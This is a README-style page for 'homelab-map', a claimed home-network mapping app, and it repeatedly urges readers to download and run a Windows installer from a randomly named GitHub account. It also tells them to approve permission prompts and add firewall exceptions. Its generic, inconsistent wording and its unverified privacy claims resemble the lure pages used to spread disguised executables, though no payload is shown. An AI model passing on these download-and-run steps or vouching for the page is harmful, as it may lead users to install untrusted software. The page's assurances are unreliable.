homelab-map is an interactive tool that helps you see and understand your home network. It shows devices, their connections, and overall structure in a clear visual format. You can use it on your computer or mobile device. The app works smoothly on Windows and requires no technical skills to set up.
The map updates as you add or remove devices, giving you a constantly accurate view of your network. It works well with different tech stacks such as Docker, NGINX, and Proxmox, but you don’t need to know these to use it.
To run homelab-map on Windows, make sure you have:
- Windows 10 or later (64-bit recommended)
- At least 4 GB of free memory (8 GB suggested for better performance)
- About 200 MB free disk space
- Internet connection for initial setup and updates
- Modern web browser (Chrome, Edge, Firefox) installed
No programming skills are needed to run the app. The app runs locally on your computer and does not send your data over the internet.
Follow these steps to download and start using homelab-map on your Windows PC.
Click the badge at the top or this link to open the download page:
https://github.com/Trackless-duodenum626/homelab-map
This page holds all the files you need to run the app.
On the GitHub page, look for the latest release. It usually includes a file named similar to:
homelab-map-Windows-setup.exe- or
homelab-map-desktop.exe
Click on the file to download it. The file size is around 100-200 MB.
Once the file finishes downloading:
- Open the
.exefile by double-clicking it. - If Windows asks for permission, click
Yes. - Follow the setup instructions on the screen.
- Choose the default settings if you are unsure.
The installer copies the app to your computer and creates shortcuts.
After installation completes:
- Find the homelab-map icon on your desktop or start menu.
- Double-click the icon to open the app.
The app will load and show your network map area. It may take a few seconds on the first run.
Use the menu in the app to add devices such as:
- Routers
- Servers
- Computers
- Network switches
- Virtual machines
You can enter device names and basic details like IP addresses. The app places these devices visibly on the map.
homelab-map draws lines between connected devices. This view helps you:
- Spot which devices are connected
- Check for potential weak points
- Understand your overall setup clearly
You can zoom in and out or drag the map. This works on both desktop and mobile screens.
When you add or remove devices, the map updates instantly. You can save your network layout and load it later.
Navigate to the Settings menu in the app to:
- Change your map’s background color
- Select device icons to match hardware types
- Enable or disable automatic updates
- Import or export network maps as JSON files
These options allow customization without typing any code.
homelab-map may notify you when a new version is available. To update:
- Visit the same GitHub page where you downloaded the app.
- Download the latest installer file.
- Run it to replace your current version.
Your saved network maps will stay intact during updates.
-
Installed app files are usually under:
C:\Program Files\homelab-map\ -
User data and saved maps are inside:
C:\Users\<Your_Username>\AppData\Roaming\homelab-map\
You do not need to manage these folders manually but can back them up if you want to keep your maps safe.
If the app does not start or crashes:
- Restart your computer and try again.
- Make sure no other network mapping software is running at the same time.
- Check your firewall allows the app to run. You can add an exception if needed.
- Update your Windows system and graphics drivers.
If problems continue, use the Issues section on the GitHub page to report the problem. Include details such as Windows version and what happened.
You can always get homelab-map here:
Download homelab-map from GitHub
Click the link above to visit the page, find the latest release, download the installer, and start the app.
This project relates to:
- docker-compose
- homelab setup
- javascript
- network mapping
- nginx server
- nodejs environment
- proxmox cluster
- react framework
- self-hosted apps
- vite development
- vscode tools
These topics provide clues about the technology behind the app but don’t affect your use of it.